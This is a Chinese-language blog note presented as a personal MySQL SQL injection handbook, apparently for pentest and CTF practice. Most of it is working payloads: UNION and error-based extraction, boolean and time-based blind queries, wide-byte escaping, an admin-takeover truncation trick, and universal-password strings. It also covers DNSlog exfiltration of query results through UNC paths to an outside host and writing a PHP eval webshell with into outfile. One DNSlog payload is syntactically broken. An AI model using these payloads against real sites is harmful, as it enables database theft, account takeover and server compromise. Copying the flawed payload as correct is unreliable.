一直没有系统的总结sql注入
抽空写一个sql注入的笔记,也当作平时注入的手册
Mysql作为最常见的数据库,主要写Mysql,其它数据库主要写存在差异的地方
长期更新
常见数据库搭配
- ASP + ACCESS + IIS
- ASP.NET + MSSQL +IIS
- PHP + Mysql + Apache(Nginx)
- JSP + Oracle(Mysql) + Tomcat
目前来讲就遇到过这些常见组合,快速判断数据库类型是注入的第一步
Mysql
基础
数据库名
- database()
- schema()
当前登陆用户
- USER()
- CURRENT_USER()
- SYSTEM_USER()
- SESSION_USER()
数据库版本
- VERSION()
- @@VERSION
- @@GLOBAL.VERSION
路径相关
- @@BASEDIR : mysql安装路径
- @@SLAVE_LOAD_TMPDIR : 临时文件夹路径
- @@DATADIR : 数据存储路径
- @@CHARACTER_SETS_DIR : 字符集设置文件路径
- @@LOG_ERROR : 错误日志文件路径
- @@PID_FILE : pid-file文件路径
- @@BASEDIR : mysql安装路径
- @@SLAVE_LOAD_TMPDIR : 临时文件夹路径
字符串连接
concat(str1,str2) //将字符串首尾相连
concat_ws(separator,str1,str2) //将字符串用指定连接符连接
group_concat()//
字符截断
left(str,index) //从左边第index开始截取
right(str,index) //从右边第index开始截取
substring(str,index) //从左边index开始截取
substr(str,index,len) //截取str,index开始,截取len的长度
mid(str,index,ken) //截取str 从index开始,截取len的长度
字符串比较函数
strcmp(expr1,expr2)//如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1
find_in_set(str,strlist) //如果相同则返回1不同则返回0
注释
- --(后面还有个空格)
- # 单行注释符,url编码为%23
- /*…*/
- /! 语句 / 语句会被执行 可用做分割
运算符
比较运算符 - =
- >
- <
- !=
- <> 不等于的意思
- like (模糊匹配
select '12345' like '12%' => true
) - in(
select '123' in ('12') => false
) - between (
select database() between 0x61 and 0x7a;//select database() between 'a' and 'z';
) - regexp / rlike(正则匹配
select '123455' regexp '^12' => true
)
算术运算符
- +
- -
- *
- /
逻辑运算符
- not / !
- and / &&
- or / ||
- xor / ^
位运算符
- & 按位与
- | 按位或
- ^ 按位异或
- ! 取反
- << 左移
- >>右移
绕过函数
instr(str1,substr) //从子字符串中返回子串第一次出现的位置
lpad(str,len,padstr) rpad(str,len,padstr) // 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
延时函数
- sleep()
- benchmark(1000000,sha(1))
编码函数
- hex()
- ascii()
文件函数
- load_file() //读文件路径可以用0x,char转换的字符
- outfile
select * into outfile '/tmp/test.txt'
- dumpfile //用法同上但是只能写入一行数据,常用于udf提权写dll
构造语句
条件语句
if(expr1,expr2,expr3)
// expr1 true执行expr2否则执行expr3select case when (条件) then 代码1 else 代码 2 end
information_schema 结构
- information_schema.tables:
查询表名:table_name 对应的数据库名: table_schema - information_schema.columns:
查询列名:column_name 对应的表名:table_schemam
Mysql注入语句一般形式
- 联合
构造联合语句 + 查询结果
- 盲注
查询结果 + 比较运算符 + 猜测值
- 报错
构造报错语句 + 查询结果
Mysql空白字符
1 | %20 %09 %0a %0b %0c %0d %a0 /**/ tab |
函数名和括号直接可以插入特殊字符 ex1
2
3
4
5concat/**/()
information_schema/**/./**/TABLES
information_schema%0a.%0aTABLES
判断注入是否存在
数值型注入1
2
3
4
5?id=1+1
?id=-1 or 1=1
?id=-1 or 10-2=8
?id=1 and 1=2
?id=1 and 1=1
字符型注入
参数被引号包围,所以需要闭合引号1
2
3
4?id=1'
?id=1"
?id=1' and '1'='1
?id=1" and "1"="1
闭合后构造语句再注释后面
四大基本注入类型
UNION注入
最简单的注入
用UNION SELECT注入时,若后面要注出的数据的列与原数据列数不同,则会失败。所以需要先猜解列数。
ORDER BY1
2
3ORDER BY 10 #
ORDER BY 5 #
ORDER BY 2 #
当ORDER BY的数字大于列数时会返回异常,反复测试,定位出正确的列数
UNION SELECT1
2
3UNION SELECT 1,2,3 #
UNION ALL SELECT 1,2,3 #
UNION ALL SELECT null,null,null #
数据库查询1
2
3SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA
SELECT DATABASE()
SELECT schema()
表查询1
2SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()
SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0xffffff
字段查询1
SELECT GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0xffffff
数据获取1
2
3SELECT GROUP_CONCAT(column_1,column_2) FROM databasename.tablename
SELECT GROUP_CONCAT(column_1,column_2) FROM tablename
SELECT * FROM tablename
报错注入
常见报错payload
floor()
1
and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
updatexml() //5.1.5
1
and 1=(updatexml(1,concat(0x3a,(select user())),1))
extractvalue() //5.1.5
1
and extractvalue(1,concat(0x5c,(select user())))
exp() //5.5.5版本之后可以使用
1
select host from user where user = 'root' and Exp(~(select * from (select version())a));
name_const //支持老版本
1
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() 几何函数报错
1
select multipoint((select * from (select * from (select * from (select version())a)b)c));
布尔盲注
常用payload1
' OR (SELECT ASCII(SUBSTR(DATABASE(),i,1) ) < j) #
时间盲注
常用payload1
2UNION SELECT IF(SUBSTR((SELECT GROUP_CONCAT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j,BENCHMARK(100000,SHA1(1)),0)
UNION SELECT IF(SUBSTR((SELECT GROUP_CONCAT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j,SLEEP(10),0)
本质是if做判断然后是否执行sleep,再有回显的bool盲注中则不写延时语句,用0或者1代替
即查询结果有没有输出到页面是两者的本质区别,没有输出时才是时间盲注
除开最常见的sleep延时,还有以下姿势
1 | select benchmark(10000000,sha(1)); |
比赛姿势
- 笛卡尔积
1
2
3
4
5
6
7mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+------------+
| count(*) |
+------------+
| 2651020120 |
+------------+
1 row in set (1 min 51.05 sec)
这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。
- GET_LOCK
是pwnhub的一道题目
利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用 mysql_pconnect函数来连接数据库。
太少用到不赘述了
https://zhuanlan.zhihu.com/p/35245598
- RLIKE
通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。1
2
3
4
5
6
7mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)
Mysql注入杂技
insert/update/delete注入
这三类语句中可以报错注出数据,但我要写的是如何没有报错的情况下注出数据
本质是在闭合语句后通过子查询进行注入,通常为盲注
update
一段我在实战中遇到的代码1
2
3
4
5
6
7
8$result=mysql_query("update ly set content='$content',hf_content='$hf_content',modi_date='$modi_date' where ly_id='$ly_id' ");
if(mysql_affected_rows())
{
echo "{\"success\":true,\"msg\":\"回复成功!\"}";
}else{
echo "{\"success\":false,\"msg\":\"回复失败!\"}";
}
set 和 where 处都可以注入
建议在where处进行注入
payload1
1' and sleep(1) %23
但是有不少的坑点,因为是根据mysql_affected_rows()判断来进行回显的,所以在update相同的值是并不会affected rows的,但是语句是可以执行的
但是字符型又有另一个坑点
字符型在与数字进行与逻辑运算时会当被做0来处理,所以无法执行and后的sleep。
所以我们只能用 or
,||
,xor
,^
但是或逻辑运算中同样存在问题
(但是具体好像还和mysql版本有关,因为看别人blog字符+or也执行成功了,但是先先不填坑了)
测试只有字符为0时才会执行or后的sleep
应该是和逻辑运算的方式有关,或运算会先检验前面是否为真,只有当前面为字符0时才为假,这是和与运算的不同之处
异或的坑点和或相似
当字符不为数字时不会执行,具体深层原因先留坑吧
这里还有坑…
or活着xor都可能导致多次sleep,因为每次检索都会or一次
实战中要尽量避免这个问题,能布尔盲注的时候就不要用sleep了
要避免这个问题就要用与逻辑且前面为真,放到where就是前面必须where一个存在的值
测试mysql版本5.3.72
insert/delete
1 | insert into users values (1,'{injecthere}','password'); |
类似update,不赘述了
Order by注入
本质仍然是盲注,根据order by 0 或者 1 返回不同的排序进行注入
ctf中的进阶形式为order by 一个特定字段
比如hctf中的一道题目
宽字节注入
原理1
2
3
4
5...
mysql_query("SET NAMES 'gbk'");
....
$name = isset($_GET['name']) ? addslashes($_GET['name']) : 1;
$sql = "SELECT * FROM test WHERE names='{$name}'";
即服务器使用了款字节编码,addslashes会将单引号转义,变为\‘,而宽子节会把两个字符编码为一个汉字,所以如果拼接%df,那%df%5c就会被编码为運字,从而逃逸出转义。
具体拼接什么要根据数据库使用的编码来决定,可以去查编码表。
常见payload1
id=1%df' #
Mysql约束攻击
原理
主要两个点
mysql的select查询进行字符串比较的时候,不同长度的字符串,会用空格填充到相同字符在比较。
mysql插入数据的时候,当数据超过定义的长度会出现截断象限
利用方式即注册一’admin a’用户(中间空格超长截断),达到超长截断的目的,往数据库中写入一个’admin ’用户,而在select的过程中’admin ‘是与’admin’相等的
所以就可以用’admin ‘的密码登陆’admin’
二次注入
所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
这个。。只能具体情况分析了,不太好写
比如sql lab-24
Mysql带外注入
带外通道攻击主要是利用其他协议或者渠道从服务器提取数据
它可能是HTTP(S)请求,DNS解析服务,SMB服务,Mail服务等
DNSlog
只能用于windows环境
select拼接一个UNC路径导致请求发起
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式
\\sss.xxx\test\
常见payload1
select load_file('\\\\',select hex(version()),'.dnslog地址')
这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个\就变成了2个\,目的就是利用UNC路径
可以直接直接用ceye.io这个平台,这个平台就集成了Dnslog的功能
利用方法
首先查看变量确定权限
show variables like ‘%secure%’
- 当secure_file_priv为空,就可以读取磁盘的目录。
- 当secure_file_priv为G:\,就可以读取G盘的文件。
- 当secure_file_priv为null,load_file就不能加载文件。
在mysql 5.5.34版本默认为空可以加载文件 但是之后版本为NULL会禁用函数但是
可以通过mysql的配置文件my.ini添加行进行配置
最好进行加密处理,防止特殊字符导致传输失败
payload1
select load_file(concat(0x5c5c5c5c,select hex(version()),0x2E66326362386131382E646E736C6F672E6C696E6B2F2F616263));
文件读写
查询用户读写权限1
SELECT file_priv FROM mysql.user WHERE user = 'username';
- load_file()
需要有读取文件的权限
需要知道文件的绝对物理路径
要读取的文件大小必须小于 max_allowed_packet
一般没啥问题1
SELECT @@max_allowed_packet;
一般用load_file来看config.php(即mysql的密码),apache配置、servu密码等。前提是要知道物理路径。
常见paylaod1
2
3UNION SELECT LOAD_FILE("C://TEST.txt") #
UNION SELECT LOAD_FILE("C:/TEST.txt") #
UNION SELECT LOAD_FILE("C:\\TEST.txt") #
后面的路径可以是单引号、0x、char转换的字符
路径中的斜杠是/而不是\
使用编码1
2UNION SELECT LOAD_FILE(CHAR(67,58,92,92,84,69,83,84,46,116,120,116)) #
UNION SELECT LOAD_FILE(0x433a5c5c544553542e747874) #
- out_file()
outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径
经典一句话payload1
select '<?php eval($_POST[cmd])?>' into outfile 'C:/www/shell.php'
当然也可以从表中选数据写
万能密码
1 | admin’ — |
bypass
Sqlmap
refer
https://xz.aliyun.com/t/3992#toc-6
https://chybeta.github.io/2017/07/21/MySql%E6%B3%A8%E5%85%A5%E5%A4%87%E5%BF%98%E5%BD%95/
https://xz.aliyun.com/t/253
https://www.anquanke.com/post/id/85230
https://www.freebuf.com/articles/web/167089.html
https://www.anquanke.com/post/id/98096